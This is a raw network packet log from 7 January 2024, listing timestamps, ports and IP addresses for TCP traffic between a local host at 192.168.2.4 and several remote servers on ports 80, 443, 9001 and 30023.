Jan 7, 2024 05:29:50.627060890 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.627099037 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.627100945 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.627142906 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.627465963 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.627518892 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.627566099 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.627681971 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.627733946 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.628155947 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.628216982 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.628235102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.628273010 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.629390001 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.629427910 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.629465103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.629508972 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.674566031 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.674715042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.674846888 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.674921989 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.674946070 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.675025940 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.675026894 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.675081015 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.776664019 CET	443	49741	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.776890039 CET	49741	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:50.778182983 CET	49741	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:50.778194904 CET	443	49741	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.778453112 CET	443	49741	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.782557964 CET	49741	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:50.782686949 CET	49741	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:50.782695055 CET	443	49741	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.816672087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.816741943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.816848040 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.816891909 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.818788052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.818876028 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.818921089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.818989038 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.819552898 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.819608927 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.819689989 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.819778919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.819853067 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.820363045 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.820471048 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.820540905 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.821444035 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.824187040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.824270010 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.824270964 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.824516058 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.824592113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.824595928 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.824763060 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.824789047 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.824855089 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.825772047 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.825861931 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.826051950 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.870806932 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.870826006 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.870934010 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.871011972 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.871120930 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.984728098 CET	443	49740	192.36.38.33	192.168.2.4
Jan 7, 2024 05:29:50.984802008 CET	49740	443	192.168.2.4	192.36.38.33
Jan 7, 2024 05:29:50.998723984 CET	49740	443	192.168.2.4	192.36.38.33
Jan 7, 2024 05:29:50.998750925 CET	443	49740	192.36.38.33	192.168.2.4
Jan 7, 2024 05:29:50.999094009 CET	443	49740	192.36.38.33	192.168.2.4
Jan 7, 2024 05:29:51.000047922 CET	49743	9001	192.168.2.4	78.46.174.72
Jan 7, 2024 05:29:51.000169992 CET	49740	443	192.168.2.4	192.36.38.33
Jan 7, 2024 05:29:51.010468960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.010543108 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.010597944 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.012676954 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.012773991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.013439894 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.013540030 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.013600111 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.014312029 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.014370918 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.014475107 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.014516115 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.018134117 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.018193007 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.018251896 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.018663883 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.018721104 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.018822908 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.018863916 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.018929958 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.018976927 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.019006014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.019201040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.019469976 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.019516945 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.019648075 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.019681931 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.040744066 CET	443	49740	192.36.38.33	192.168.2.4
Jan 7, 2024 05:29:51.065248966 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.065327883 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.065417051 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.065422058 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.065510035 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.065629005 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.205055952 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.205169916 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.205308914 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.207880020 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.207989931 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.208031893 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.208488941 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.208626032 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.208667040 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.208704948 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.208782911 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.208822966 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.212255955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.212335110 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.212382078 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.212788105 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.212905884 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.212963104 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.213007927 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.213095903 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.213135958 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.213176966 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.213262081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.213304996 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.213557005 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.213608980 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.213686943 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.213691950 CET	443	49741	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:51.213743925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.213800907 CET	443	49741	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:51.213831902 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.213855028 CET	49741	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:51.213874102 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.214045048 CET	49741	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:51.214068890 CET	443	49741	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:51.253526926 CET	49744	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:51.253585100 CET	443	49744	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:51.253669977 CET	49744	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:51.254288912 CET	49744	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:51.254302979 CET	443	49744	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:51.260226011 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.260376930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.260421038 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.260920048 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.260934114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.260970116 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.400779963 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.400870085 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.400938034 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.403589964 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.403703928 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.403783083 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.404443979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.404551983 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.404604912 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.405155897 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.405368090 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.405412912 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.407773972 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.407846928 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.407917976 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.409154892 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.409171104 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.409219980 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.409264088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.409331083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.409378052 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.409430027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.409509897 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.409610033 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.410568953 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.410662889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.410710096 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.410749912 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.410826921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.410888910 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.443805933 CET	443	49744	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:51.443964005 CET	49744	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:51.445269108 CET	49744	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:51.445281029 CET	443	49744	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:51.445574045 CET	443	49744	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:51.446830988 CET	49744	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:51.447010994 CET	49744	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:51.447069883 CET	443	49744	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:51.447138071 CET	49744	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:51.447148085 CET	443	49744	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:51.454840899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.454890966 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.454952955 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.455027103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.455141068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.455184937 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.455406904 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.455496073 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.455539942 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.594798088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.594916105 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.594986916 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.597841978 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.597912073 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.597956896 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.598614931 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.598659992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.598722935 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.599312067 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.599416971 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.601438046 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.601856947 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.601916075 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.601953983 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.602874041 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.602976084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.603049040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.603092909 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.603105068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.603176117 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.603202105 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.603243113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.603279114 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.604471922 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.604535103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.604579926 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.604684114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.604813099 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.604851007 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.648550034 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.648628950 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.648756027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.648803949 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.648840904 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.648916960 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.649183035 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.649256945 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.649271965 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.649315119 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.788733959 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.788800955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.788969040 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.791604042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.791620016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.791661024 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.792372942 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.792458057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.792501926 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.796055079 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.796070099 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.796138048 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.797857046 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.797941923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.797995090 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.798397064 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.798446894 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.798530102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.798579931 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.798598051 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.798645973 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.798713923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.798778057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.799330950 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.799535036 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.799726009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.799772024 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.799781084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.799913883 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.799956083 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.842868090 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.842886925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.842938900 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.842952013 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.842959881 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.843003988 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.843372107 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.843417883 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.843439102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.843456984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.843466997 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.843499899 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.866039038 CET	443	49744	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:51.866141081 CET	443	49744	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:51.866203070 CET	49744	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:51.866401911 CET	49744	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:51.866430044 CET	443	49744	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:51.905002117 CET	49746	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:51.905040979 CET	443	49746	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:51.905145884 CET	49746	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:51.908768892 CET	49746	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:51.908782959 CET	443	49746	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:51.983836889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.983884096 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.983972073 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.986466885 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.986511946 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.986582041 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.987159014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.987245083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.987322092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.987401009 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.991620064 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.991786003 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.991811991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.993849993 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.993931055 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.993959904 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.994138002 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.994184017 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.994431973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.994518042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.994564056 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.994581938 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.994910002 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.994955063 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.994973898 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.995021105 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.995089054 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.995178938 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.995259047 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:51.995301962 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:51.995332003 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.014115095 CET	49747	30023	192.168.2.4	185.220.101.23
Jan 7, 2024 05:29:52.037600994 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.037650108 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.037656069 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.037689924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.037754059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.037784100 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.038343906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.038388968 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.038413048 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.038460970 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.038510084 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:52.038528919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:52.094049931 CET	443	49746	172.67.131.114	192.168.2.4
